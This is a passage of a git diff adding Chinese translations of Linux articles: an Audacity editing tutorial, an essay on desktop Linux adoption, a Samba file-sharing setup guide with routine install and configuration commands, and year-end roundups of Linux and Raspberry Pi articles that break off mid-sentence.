+在文字处理器中,你可以非常清楚地看到每个字母的结尾和开头。你不可能不小心选择和删除一个字母的一半。然而,在现代应用程序中,声音的 “分辨率”(称为 _采样率_)非常好,所以人眼很难在音频波中找到一个清晰的断点。Audacity 可以调整你的选择,使你选择的区域落在所谓的 [过零点][9]zero crossing,这可以避免在你做切割的地方出现微妙但明显的突兀现象。 + +![过零点][10] + +在你做出选择后,进入“选择 Select”菜单,选择 “在过零点At Zero Crossings”。 + +**我的快捷键:** 我使用 `Z` 键来调整选区到过零点,使用 `X` 键来删除一个区域(它使我不必将手一直移到 `Del` 或 `Backspace` )。 + +### 腾出空间 + +编辑的好处是,你的最终产品不一定要与你录制的内容一致。我曾经录制过一些讲座,甚至录制过一些读物的剧本,但最终因为某种原因而偏离了方向,或者遗漏了一部分重要的信息,后来在发布前又重新编排或添加了全新的音频。 + +移动所选的音频与删除类似,但不是删除音频,而是复制和粘贴所选内容,就像你在文字处理器中做的那样 —— 使用标准的键盘快捷键复制或剪切,重新定位你的光标,然后粘贴。不过,为插入的内容腾出空间,需要在音频时间线上留出空位,这样你就可以录制额外的音频来填补你所创造的空白。为此,你可以使用“选择工具Selection Tool”和“时间偏移工具Time Shift Tool”。 + +要在音频中创建一个空隙,将你的“选择工具Selection Tool”的光标放在你想添加空隙的地方。导航到“编辑Edit”菜单,选择“剪辑边界Clip Boundaries”子菜单,然后选择“分割Split”。这将在你的选择点上分割你的音频。 + +激活顶部工具栏中的“时间偏移工具Time Shift Tool”(图标是两个连接的箭头,分别指向左边和右边),点击并拖动分割后的音频的右半部分,创建一个间隙。 + +![空隙][11] + +**我的快捷方式:** 我用 `K` 来分割,用 `T` 来激活“时间偏移工具Time Shift Tool”。 + +### 导出音频 + +当你对你的音频感到满意时,你可以导出它,这样你就可以与他人分享。Audacity 可以选择它能够导出的格式,并且它能够将其输出到像 [ffmpeg][12] 这样的工具,以获得比你可能永远需要的更多格式。 + +我更喜欢用 FLAC 格式输出音频,这种音频格式有点像 WAV,只是它是无损压缩的。它只占用一小部分空间,而没有任何质量上的损失。要尝试它,去“文件File”菜单,选择“导出Export”子菜单,然后选择“导出音频Export Audio”。有了 FLAC 文件作为你的 [黄金镜像][13],你可以用 SoundConverter 把你的文件转换成任何数量的传输目标的最佳格式 —— 用于浏览器的 Ogg Vorbis 或 Opus 或 Webm,用于苹果设备的 M4A 文件,也许还有用于传统系统的 MP3。 + +如果你只是想从 Audacity 快速简单地导出,简单的选择是 Ogg Vorbis。这是一种开源的文件格式,可以在大多数网页浏览器(Firefox、Chromium、Chrome、Android 和 Edge)和 [如 VLC、mpv 等媒体播放器][14] 播放。 + +### 探索 Audacity + +Audacity 是开源软件世界中的一个经典动力工具。基本的录音和编辑仅仅是个开始。你可以添加效果、[过滤掉(一些)噪音][15]、调整速度、改变音高等等。无论你是在学校录制讲座、混合鼓循环、为视频游戏拼接声音,还是只是在探索音频世界,都可以去启动 Audacity,发挥创意! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/audacity-linux-creative-app + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/colorful_sound_wave.png?itok=jlUJG0bM (Colorful sound wave graph) +[2]: https://opensource.com/article/21/11/how-install-flatpak-linux +[3]: https://www.audacityteam.org/ +[4]: https://github.com/tenacityteam/tenacity +[5]: https://opensource.com/sites/default/files/uploads/gnome-sound-setting.png (Sound input) +[6]: https://creativecommons.org/licenses/by-sa/4.0/ +[7]: https://opensource.com/sites/default/files/uploads/audacity-input.png (Recording audio) +[8]: https://opensource.com/article/18/1/audacity-digitize-records +[9]: https://en.wikipedia.org/wiki/Zero_crossing +[10]: https://opensource.com/sites/default/files/uploads/audacity-zero-crossing.jpg (Zero crossing) +[11]: https://opensource.com/sites/default/files/uploads/audacity-split.jpg (Spacer) +[12]: https://opensource.com/article/21/11/linux-line-commands-reclaim-space-converting-files#audio +[13]: https://opensource.com/article/19/7/what-golden-image +[14]: https://opensource.com/article/21/2/linux-media-players +[15]: https://opensource.com/life/14/10/how-clean-digital-recordings-using-audacity diff --git a/published/202201/20211211 What Desktop Linux Needs to Succeed in the Mainstream.md b/published/202201/20211211 What Desktop Linux Needs to Succeed in the Mainstream.md new file mode 100644 index 0000000000..1594f838a1 --- /dev/null +++ b/published/202201/20211211 What Desktop Linux Needs to Succeed in the Mainstream.md @@ -0,0 +1,73 @@ +[#]: subject: "What Desktop Linux Needs to Succeed in the Mainstream" +[#]: via: "https://news.itsfoss.com/what-desktop-linux-needs-to-succeed-in-the-mainstream/" +[#]: author: "Community https://news.itsfoss.com/author/team/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14189-1.html" + +桌面 Linux 需要什么才能在主流中获得成功? +====== + +> 这是 Linux 走向大众最重要的一件事。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/penguin-laptop.png?w=1200&ssl=1) + +你可能看过 [最近 Linus Tech Tips 关于切换到 Linux 的视频][1],以及 [他对 KDE 软件的一些抱怨的那个视频][2]。对于那些关注此事的人,我想让你们知道,我们(KDE)正在努力修复 Linus 提出的问题,你们可以在 [这里][3] 跟踪我们的进展。值得庆幸的是,大部分的问题都相当小,应该很容易解决。 + +关于桌面 Linux 需要什么才能成为主流的问题。[Sway][4] 开发者 [Drew DeVault 针对该视频发表了一篇文章][5],而这篇博文是我的版本。Drew 强调了可访问性,我也同意,但结论略有不同。 + +### 桌面 Linux 需要预装在零售硬件上才能在主流市场取得成功 + +就是这样。 + +请允许我解释一下。 + +人们经常被功能和可用性所困扰,这些都很重要,但它们只是达到目的的手段,本身并不是目的。如果人们根本不能得到它,质量就毫无意义。而如果没有可访问的发行版,人们就无法得到它。高质量的 Linux 发行版还不够;它们需要被预装在你可以在主流零售店买到的硬件产品上。“主流人群”会购买他们可以触摸和拿起的产品;如果在主流商店找不到它,它就不存在。 + +想一想,**为什么普通人都使用 Windows 或 macOS**?因为他们购买的实体电脑包含了它。iOS 或 Android 呢?它被默认装在了他们的实体智能手机上。对于“主流人群”来说,不存在用一个新的操作系统替换设备的操作系统的想法。只有 [“三点”用户][6] 才会这么做,而他们只占市场的 5% 左右。如果获得你的操作系统的唯一途径是自己安装,那么你就没有机会在主流市场取得成功。 + +![](https://pointieststick.files.wordpress.com/2021/11/computers-skill.jpg?w=1085) + +至于功能,人们通常只使用可用功能的很小的一部分。在可用性方面,大多数用户是 [记住他们的软件如何使用而不是理解它][7] —— 如果你真的需要,你可以记住任何东西。一个更好的用户界面会有所帮助,但是对于那些记忆这些的人来说并不是必需的,而它主要有利于那些能够识别模式,并欣赏逻辑、一致性和良好设计的高级用户(市场上 30% 的“二点及以上”人群)。因此,这些东西本身就不够好。 + +但这并不意味着我们应该忘记功能和可用性!一点也不。但是如果我们的目标是“走向主流”,我们就必须了解真正的受众:**是硬件供应商,而不是终端用户**。我们的目标是让软件产品有足够的吸引力,以便在供应商选购时被他们选中,因为它基本上就是这样做的。像苹果这样为知名产品定制自上而下的硬件和软件的公司很少。大多数公司都建立在第三方软件之上,这些软件需要他们内部软件团队进行最少的整合和定制工作。如果你的软件不能胜任,他们会转向下一个选择。因此,当一些硬件供应商有需求时,你的软件最好已经准备好了! + +而硬件供应商需要什么? + + * **灵活性**。你的软件必须容易适应他们的任何类型的设备,而不需要大量的定制工程,他们将在产品的生命周期中负责支持。 + * **能使他们的设备看起来不错的功能**。对其物理硬件特性的支持、良好的性能、令人愉快的用户界面……人们购买它的理由基本上是这些。 + * **稳定性**。不能崩溃并将用户抛弃在命令行终端提示符下。必须可以实际工作。不能让人感觉像一个业余的科学展览会项目。 + * **可用性要足够好,以减少支持成本**。当出现问题时,“主流人群”会联系他们的硬件供应商。可用性需要足够好,以便尽可能少地发生这种情况。 + +它不需要完美。它只需要做这些事情。这就是 Windows 在 90 年代征服了个人电脑市场的方式,尽管它很糟糕!而我们的东西要好得多! + +我看到有证据表明 KDE 已经是这样了。Pine 在 [PinePhone][8] 和 [PineBook Pro][9] 上分别为 Manjaro 提供了 Plasma 的移动版和桌面版。Valve 也为 [Steam Deck][10] 选择了 Plasma 的桌面版,在他们的新版 SteamOS 中取代了 GNOME。我认为 KDE 软件定位良好,并且一直在变得更好。因此,让我们继续加倍努力提供硬件供应商销售其出色产品所需的东西。 + +原文由 KDE 开发者 Nate Graham 发表在他的 [博客 PointiestStick][11] 中。 本文经许可后转载。所表达的观点代表作者自己,可能不能反映我们的观点。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/what-desktop-linux-needs-to-succeed-in-the-mainstream/ + +作者:[Nate Graham][11] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/team/ +[b]: https://github.com/lujun9972 +[1]: https://linux.cn/article-14053-1.html +[2]: https://www.youtube.com/watch?v=TtsglXhbxno&list=PL8mG-RkN2uTyhe6fxWpnsHv53Y1I-K3yu&index=3 +[3]: https://invent.kde.org/teams/usability/issue-board/-/boards/7723 +[4]: https://swaywm.org/ +[5]: https://drewdevault.com/2021/12/05/What-desktop-Linux-needs.html +[6]: https://pointieststick.com/2021/11/29/who-is-the-target-user +[7]: https://pointieststick.com/2021/11/30/more-about-those-zero-dot-users/ +[8]: https://www.pine64.org/pinephone/ +[9]: https://www.pine64.org/pinebook-pro/ +[10]: https://www.steamdeck.com/ +[11]: https://pointieststick.com/2021/12/09/what-desktop-linux-needs-to-succeed-in-the-mainstream/ diff --git a/published/202201/20211219 Open source file sharing with this Linux tool.md b/published/202201/20211219 Open source file sharing with this Linux tool.md new file mode 100644 index 0000000000..a7b5587a79 --- /dev/null +++ b/published/202201/20211219 Open source file sharing with this Linux tool.md @@ -0,0 +1,140 @@ +[#]: subject: "Open source file sharing with this Linux tool" +[#]: via: "https://opensource.com/article/21/12/file-sharing-linux-samba" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14145-1.html" + +用 Samba 跨平台共享文件 +====== + +> Samba 是一种灵活的文件共享工具,它将你可能在组织中运行的所有不同平台结合在一起。 + +![](https://img.linux.net.cn/data/attachment/album/202201/04/092708dsjqu1fbfjjhee1j.jpg) + +在我接触 Linux 的早期,我是纽约州一个小型学前教育学区的技术总监。我们的技术预算总是捉襟见肘。我们是一个 Windows 2000 活动目录域,但我们的中央服务器磁盘空间有限,而且没有教师的主目录。此外,我们经历过十几次员工电脑硬盘故障。 + +我正在寻找一种方法,以最小的成本保存员工的工作。这时我发现了 Samba。在那之前,我一直将 Linux 用于内容过滤,不知道我们的 Windows 工作站可以连接到服务器并保存文件备份。 + +[Samba 项目][2] 自 1992 年以来一直存在。当我开始试验这个项目的时候,这个项目已经有 10 年历史了,我对如何配置它一无所知。我买了一本书并阅读了如何实现它,然后我从我们的电脑柜中取出一台旧电脑,购买了一个 300G 的希捷 IDE 驱动器,安装了 Linux,并配置了 Samba。我使用了一个简单的配置,并且它成功了。在向我们的一个 IT 助理展示后,我们部署了这个解决方案。硬盘故障的问题继续存在,但我们的员工不再需要担心失去他们所有的辛苦工作。 + +Samba 采用 [GPL][3] 许可证,并在大多数 Linux 发行版上广泛使用。Samba 有很好的 [文档][4],Fedora 用户可以查阅这份在 [Fedora 上配置 Samba][5] 的文档。 + +### 在 Linux 上安装 Samba + +你可以使用你的发行版的包管理器来安装 Samba。 + +在 Fedora、CentOS、RHEL、Mageia 和类似的系统上: + +``` +$ sudo dnf install samba +``` + +在 Debian, Linux Mint 和类似系统上: + +``` +$ sudo apt install samba +``` + +### 用 Samba 创建一个共享文件夹 + +创建一个简单的共享文件夹只需要五个步骤。 + +1、在你的 Linux 服务器上创建一个你希望用户能够保存共享文件的目录。这个目录可以是服务器上的任何地方:在 `/home` 或 `/opt` 或任何最适合你的地方。我使用我的主目录,我把共享目录称为 `sambashare`。 + +``` +$ mkdir /home/don/sambashare +``` + +在 Fedora 和其他运行 SELinux 的发行版上,你必须对这个共享目录给予安全许可: + +``` +$ sudo semanage fcontext --add --type "samba_share_t" ~/sambashare +$ sudo restorecon -R ~/sambashare +``` + +2、用 Nano 或你选择的文本编辑器编辑 Samba 配置文件。 + +``` +$ sudo nano /etc/samba/smb.conf +``` + +在 `smb.conf` 文件的底部添加以下内容,用你自己的共享目录的位置替换我例子中的 `/home/don/sambashare` 路径: + +``` +[sambashare] + comment = Samba on Linux + path = /home/don/sambashare + read only = no + browsable = yes +``` + +如果你使用 Nano,按 `Ctrl-O`,然后按**回车**来保存,按 `Ctrl-X` 退出。 + +3、启动或重启 Samba 服务,这取决于你的发行版。 + +在 Fedora 和类似的系统中,没有明确的许可,服务是不会启动的,所以现在就可以启动 Samba,并在启动时启动: + +``` +$ sudo systemctl enable –now smb.conf +``` + +在 Debian 和类似系统中,Samba 默认在安装后启动,所以你必须现在就重启它: + +``` +$ sudo service smbd restart +``` + +4、更新你的防火墙规则,允许访问你的 Samba 共享。该如何做取决于你的系统使用什么防火墙。 + +如果你正在运行 firewalld: + +``` +$ sudo firewall-cmd --permanent --add-service=samba +$ sudo firewall-cmd --reload +``` + +如果你正在运行 UFW: + +``` +$ sudo ufw allow samba +``` + +5、现在你需要设置一个密码来访问你的 Samba 共享。这个用户名(在我的例子中是 don)必须属于你系统中的一个账户。 + +``` +$ sudo smbpasswd -a don +``` + +我在每个 Samba 共享中都放置了一个简单的 `README` 文件,这样用户就会明白这个目录位于服务器上,他们必须在 VPN 上才能从家里访问它等等。 + +### 从 Windows 和 Mac 访问 Samba + +在 Windows 电脑上,打开文件管理器(Windows Explorer),访问路径 `ip-address-of-the-Linux-computer/sambashare`。系统会提示你输入 Samba 共享密码,然后 `sambashare` 目录中的文件会出现在你的文件管理器窗口中,就像它们存在于你的桌面上一样。你可以开始在网络上的这个新共享目录中存储你的文件。 + +在 macOS 电脑上,进入 Finder 菜单,选择 Go。在出现的对话框中,输入 `smb://ip-address/sambashare`,并按照提示输入 Samba 密码。 + +### Samba 意味着共享 + +Samba 使共享文件变得容易。你可以在 Samba 中使用许多其他方案来创建共享位置,包括用户组的公共文件夹,只接受传入文件的收件箱,以及其他你可能需要的东西。它是开源的、灵活的,而且它把你可能在你的办公室里运行的所有不同的平台联合起来。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/file-sharing-linux-samba + +作者:[Don Watkins][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/files_documents_paper_folder.png?itok=eIJWac15 (Files in a folder) +[2]: https://www.samba.org/ +[3]: https://www.samba.org/samba/docs/GPL.html +[4]: https://www.samba.org/samba/docs/ +[5]: https://docs.fedoraproject.org/en-US/quick-docs/samba/ diff --git a/published/202201/20211224 10 reasons to love Linux in 2021.md b/published/202201/20211224 10 reasons to love Linux in 2021.md new file mode 100644 index 0000000000..03f712ec72 --- /dev/null +++ b/published/202201/20211224 10 reasons to love Linux in 2021.md @@ -0,0 +1,85 @@ +[#]: subject: "10 reasons to love Linux in 2021" +[#]: via: "https://opensource.com/article/21/12/reasons-love-linux" +[#]: author: "Joshua Allen Holm https://opensource.com/users/holmja" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14207-1.html" + +2021 总结:Linux 方面的 10 篇好文章 +====== + +> 以下是 10 篇最受欢迎的 Linux 文章。 + +![](https://img.linux.net.cn/data/attachment/album/202201/23/171708xzs53zvp9occmgcy.jpg) + +2021 年,我们发表了远超 [150 篇的 Linux 方面的文章][2]。从桌面 Linux 用户小工具的文章到将 Linux 作为服务器操作系统的教程,以及介乎于两者之间的各种场景,这些文章已经涵盖了 Linux 生态系统的许多方面。所有这些文章都值得你花时间去阅读,但你可以从今年发表的这十篇好文章开始阅读。 + +### 3 个开源工具,使 Linux 成为理想的工作站 + +在这篇文章中,Seth Kenlon 介绍了 LibreOffice、AbiWord、Gnumeric 和 Pandoc,涵盖了 [使 Linux 成为理想工作站的工具][3]。他解释了在使用 Linux 作为桌面操作系统时,这些应用程序如何使你的工作效率提高。文章探讨了一些高级功能,如 LibreOffice 的无头模式,并提供了如何充分利用每个应用程序的小技巧。 + +### 为什么我在 Linux 上使用 exa 而不是 ls + +`ls` 命令是 Linux 中最常用的终端命令之一,但你知道它有一个现代的替代品,提供了许多有益的改进吗?Sudeshna Sur 的 [文章][4] 介绍了 `exa` 命令以及它相比 `ls` 的优势,讨论了 `exa` 如何跟踪添加到 Git 仓库的新文件、显示目录和文件树等等。 + +### 我喜欢在 Linux 上编码的 5 个原因 + +像许多人一样,Seth Kenlon 喜欢在 Linux 上编码。在这篇文章中,他分享了这样做的 [五个原因][5]。他喜欢在 Linux 上编码,因为它建立在逻辑的基础上,可以让你欣赏代码之间的关联,提供了源代码,并提供直接访问外设和抽象层的能力,使编写代码更容易。 + +### 在 Linux 上使用可启动的 USB 驱动器来拯救 Windows 用户 + +即使你喜欢 Linux,但有时你可能需要修复一台 Windows 电脑或为某人安装 Windows。在 Linux 上从 Windows ISO 创建一个可启动的 U 盘,并不像为 Linux 发行版制作一个可启动的 U 盘那样简单明了。在这个教程中,Don Watkins 演示了 [如何使用 WoeUSB][6],这个工具可以为用户处理这个过程中所有棘手的部分。 + +### 4 个用于运行 Linux 服务器的开源工具 + +当使用 Linux 作为服务器操作系统时,Seth Kenlon 推荐了这 [四个开源工具][7]: Samba、Snapdrop、VLC 和 PulseAudio。正如 Seth 在他的文章中所指出的,这四个工具使得用 Linux 进行文件共享和流媒体变得很容易。 + +### 3 个你需要尝试的 Linux 终端 + +Linux 有许多不同的终端模拟器。Seth Kenlon 的这篇文章推荐了 [3 个 Linux 终端][8],值得一试:Xfce 终端、rxvt-unicode 和 Konsole。他提供了每一个的简要概述,并指出了每个终端模拟器的优势。 + +### 在你的 Linux 家庭实验室中运行 Kubernetes 的另外 5 个理由 + +在 Seth Kenlon 2020 年的文章《[在树莓派家庭实验室上运行 Kubernetes 的五个理由][9]》的续篇中,他给出了 [在 Linux 家庭实验室中运行 Kubernetes 的另外五个理由][10]:Kubernetes 建立在Linux 的基础上,它很灵活,学习它可以为你提供个人发展,它使容器变得有意义,而且它有利于云原生开发。他还提供了一个额外的理由:因为它很有趣。 + +### 6 个开源工具和技巧,为初学者保障 Linux 服务器的安全 + +Sahana Sreeram 提供了 [保证 Linux 服务器安全的六个优秀技巧][11]。这个教程着眼于更新软件、启用防火墙、加强密码保护、禁用非必要的服务、检查监听端口,以及扫描恶意软件。Sahana 提供的技巧可以帮助 Linux 初学者学习保持 Linux 服务器安全的基本知识。 + +### Linux 如何使一所学校为大流行病做好准备 + +Don Watkins 采访了威斯康星州莫诺纳市 [圣心玛利亚学校][12] 的教师 Robert Maynord,介绍了该校 [将他们的电脑换成 Linux][13] 的情况。Maynord 分享了关于他是如何对 Linux 感兴趣的轶事,他为把学校的计算机换成 Linux 所采取的第一个步骤,Linux 如何使学校受益等等。Don 在这次采访中提出了许多很好的问题,Maynord 为有意采用 Linux 的学校提供了许多有用的信息。 + +### 在 Linux 上运行你喜欢的 Windows 应用程序 + +有时,在切换到 Linux 之后,你仍然需要那个只在 Windows 下运行的特定应用程序,或者真的想玩那个只能在 Windows 下运行的游戏。在这篇文章中,Seth Kenlon 提供了一个关于如何 [在 Linux 上运行你喜欢的 Windows 应用程序][14] 的教程。做到这一点的工具是 WINE。Seth 解释了什么是 WINE,它是如何工作的,以及如何在你的 Linux 计算机上安装它,以便你可以运行你最喜欢的 Windows 应用程序。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/reasons-love-linux + +作者:[Joshua Allen Holm][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/holmja +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/car-penguin-drive-linux-yellow.png?itok=twWGlYAc (Penguin driving a car with a yellow background) +[2]: https://opensource.com/tags/linux +[3]: https://linux.cn/article-13133-1.html +[4]: https://linux.cn/article-13972-1.html +[5]: https://opensource.com/article/21/2/linux-programming +[6]: https://linux.cn/article-13143-1.html +[7]: https://linux.cn/article-13192-1.html +[8]: https://linux.cn/article-13186-1.html +[9]: https://opensource.com/article/20/8/kubernetes-raspberry-pi +[10]: https://opensource.com/article/21/6/kubernetes-linux-homelab +[11]: https://linux.cn/article-13298-1.html +[12]: https://www.ihmcatholicschool.org/ +[13]: https://opensource.com/article/21/5/linux-school-servers +[14]: https://linux.cn/article-13184-1.html diff --git a/published/202201/20211225 10 Raspberry Pi project ideas from 2021.md b/published/202201/20211225 10 Raspberry Pi project ideas from 2021.md new file mode 100644 index 0000000000..d714d6efcb --- /dev/null +++ b/published/202201/20211225 10 Raspberry Pi project ideas from 2021.md @@ -0,0 +1,82 @@ +[#]: subject: "10 Raspberry Pi project ideas from 2021" +[#]: via: "https://opensource.com/article/21/12/raspberry-pi-projects" +[#]: author: "Joshua Allen Holm https://opensource.com/users/holmja" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14142-1.html" + +2021 总结:10 个创意树莓派项目 +====== + +> 你的下一个最流行的树莓派项目。 + +![](https://img.linux.net.cn/data/attachment/album/202201/03/094418bv7lgk6bkaa7dkdz.jpg) + +树莓派是最受欢迎的单板计算机品牌之一。它流行的部分原因是人们用树莓派制造了大量独特而有趣的项目。人们在各种项目中使用了树莓派,并提供了说明,以便其他人可以重新创建他们的项目。以下是在 2021 年发表的十篇最受欢迎的树莓派文章。我希望在你摆弄自己树莓派时,它们能给你带来启发。 + +### 《用树莓派建立一个家庭恒温器》 + +Joe Truncale 在 2020 年 10 月搬进了新家。家里的老式供暖系统需要改进。他的文章提供了关于他如何 [使用树莓派和 ThermOS][2] 来替换家中的恒温器的详细说明。 + +### 《在树莓派上建立一个精简服务器》 + +树莓派可以作为一个很好的服务器。Alan Formy-Duval 展示了如何 [建立一个精简服务器][3] 以节约系统资源。他的说明提供了许多关于如何最大限度地利用树莓派的有用提示。 + +### 《我是如何在公共图书馆的树莓派 400 上教授 Python 的》 + +树莓派是一个很好的教学工具。在这篇文章中,Don Watkins 讲述了他如何在一个公共图书馆 [使用树莓派 400 教授 Python][4]。他描述了他是如何设置树莓派 400 以及如何教授课程的。 + +### 《用 Cockpit 管理你的树莓派》 + +Alan Formy-Duval 解释了如何 [使用 Cockpit 来管理你的树莓派][5]。他详细介绍了如何在树莓派操作系统上安装和使用 Cockpit,并对 Cockpit 的功能做了大致的介绍。正如他在文章中指出的那样,“就像在其他 Linux 系统上一样,Cockpit 可以在树莓派上发挥功用”,这使得这篇文章也可以用于有兴趣在其他系统上使用 Cockpit 的用户。 + +### 《使用树莓派建立一个具有移动连接功能的路由器》 + +你可以用树莓派轻松地制作你自己的路由器。在这个教程中,Lukas Janėnas 解释了如何 [建立一个具有移动连接的路由器][6]。他提供了关于如何在树莓派上安装和配置 OpenWRT 的详细说明。 + +### 《用树莓派和一个低功耗显示器追踪你的家庭日历》 + +Javier Pena 使用树莓派和一个墨水屏显示器 [建立了一个家庭日历][7]。这篇文章提供了关于该项目中使用的硬件和软件的信息。使用所提供的说明,你可以轻松地为自己的家庭创建一个数字日历。 + +### 《用树莓派投射你的安卓设备》 + +在 Sudeshna Sur 的这篇文章中,可以了解到如何 [用树莓派投射你的安卓设备][8]。Sudeshna 使用 Scrcpy 来完成这个任务。她提供了关于如何设置 Scrcpy 和配置你的手机的说明,以便它们一起工作。 + +### 《对树莓派 400 的测评》 + +Don Watkins [测评了树莓派 400][9],提供了多张他的树莓派 400 开箱图片,并提供了对该设备和捆绑配件的出色书面评论。关于这个 100 美元的大礼包,他有很多好话要说。 + +### 《用树莓派和 Prometheus 监控你家里的温度和湿度》 + +在 Chris Collins 的教程中,学习如何 [监测你家里的温度和湿度][10]。Chris 解释了如何使用 Prometheus 和树莓派来收集和存储数据。他提供了关于安装 Prometheus 的说明,设置 Prometheus 来跟踪数据,创建一个 systemd 单元和日志记录等等,最后还说明了如何把所有的步骤结合起来创建完成的项目。 + +### 《在树莓派集群中部署 Ceph》 + +AJ Canlas 教授了如何 [在树莓派集群中部署 Ceph][11]。这篇文章提供了使用 `ceph-ansible` Ansible 剧本部署 Ceph 的说明。需要的硬件是四个树莓派 4B 4GB 型号,四个 32GB 的 microSD 卡用于启动操作系统,四个带风扇和散热器的外壳,四个树莓派电源,以及六个 32GB 的 USB 闪存用于 Ceph OSD 节点。这是一套很大的设备,但如果你手上有这样的硬件,这是一个迷人的项目,可以尝试一下。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/raspberry-pi-projects + +作者:[Joshua Allen Holm][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/holmja +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/life-raspberrypi_0.png?itok=Kczz87J2 (Raspberries with pi symbol overlay) +[2]: https://opensource.com/article/21/3/thermostat-raspberry-pi +[3]: https://opensource.com/article/21/1/minimal-server-raspberry-pi +[4]: https://opensource.com/article/21/6/teach-python-raspberry-pi +[5]: https://linux.cn/article-13487-1.html +[6]: https://opensource.com/article/21/3/router-raspberry-pi +[7]: https://linux.cn/article-13222-1.html +[8]: https://opensource.com/article/21/3/android-raspberry-pi +[9]: https://opensource.com/article/21/3/raspberry-pi-400-review +[10]: https://opensource.com/article/21/7/home-temperature-raspberry-pi-prometheus +[11]: https://linux.cn/article-13020-1.html \ No newline at end of file diff --git a/published/202201/20211226 9 open source alternatives to try in 2022.md b/published/202201/20211226 9 open source alternatives to try in 2022.md new file mode 100644 index 0000000000..0626f5f88f --- /dev/null +++ b/published/202201/20211226 9 open source alternatives to try in 2022.md @@ -0,0 +1,100 @@ +[#]: subject: "9 open source alternatives to try in 2022" +[#]: via: "https://opensource.com/article/21/12/open-source-alternatives" +[#]: author: "Lauren Maffeo https://opensource.com/users/lmaffeo" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14148-1.html" + +2021 总结:值得尝试的 9 个开源替代品 +====== + +> 无论你在寻找什么工具,都有大量的开源软件的替代品供你选择。 + +![](https://img.linux.net.cn/data/attachment/album/202201/05/102041ojbpppjmgemmummq.jpg) + +2021 年又是一个主要在网上度过的年份,但这对开源世界来说并不新鲜。在任何地方工作的能力是我们的 DNA,在大流行之前,远程工作就已经进入了主流。 + +然而,今年在屏幕前的所有时间使我们的社区考虑开源的替代方案。无论你需要什么样的工具,许多流行的供应商都不是你唯一的选择。 + +如果你对 Zoom 感到厌倦,想要一个非 Salesforce 家的 CRM,或者想要一个非谷歌的分析工具,请继续阅读。我们有推荐了 2021 年最受读者喜爱的开源替代品的文章。 + +### 我最喜欢的开源项目管理工具 + +如果你在管理一个项目,可能看起来你有无穷无尽的工具可以选择。随着甘特图跨入敏捷领域,现在更常见的是看到它们被部署在大型项目的服务中。 + +如果你认为微软 Project 是你唯一的选择,别担心,Frank Bergmann 分享了几个 [开源替代品][2],供单个用户计划和跟踪大型单一项目。Redmine、ProjectLibre 和 TaskJuggler 都是这个列表中涉及的开源替代品。 + +### 微软 Exchange 的一个开源替代品 + +微软 Exchange 在群件中的主导地位可能即将结束。2020年,一位奥地利的开源开发者建立了 grommunio,作为 Exchange 的开源替代品。 + +在 Markus Feilner 的 [对 grommunio 的评论][3]中,他分享了该工具提供的大量功能清单。集成的原生 exchange 协议使 Outlook 和智能手机能够像连接到 Exchange 一样连接到 grommunio。在这个强大的列表中,日历管理、视频会议和会议功能是由 [Jitsi][4] 提供的。 + +### 用这个开源的财务工具在 Linux 上管理你的预算 + +当涉及到资金管理时,Linux 可能不是你想到的第一个工具平台。然而,事实证明,有许多建立在 Linux 上的应用可以帮助保持你的个人财务状况良好。 + +像 HomeBank 和 KMyMoney 这样的产品可以让你从银行导入数据,并根据你的预算审查支出。[本文作者][5] Seth Kenlon 更喜欢 Skrooge,并分享了他如何使用它。如果你正在寻找一个追踪支出的开源工具,这可能是一个。 + +### 5 个替代 Zoom 的开源工具 + +在大流行的近两年时间里,可以说我们中的大多数人都被 Zoom 困住了。对我们中的许多人来说,大多数工作和社会活动都完全在网上进行。但正如 Seth Kenlon 敏锐地指出的那样,开源最大的好处之一就是可以远程工作。因此,如果你对 Zoom 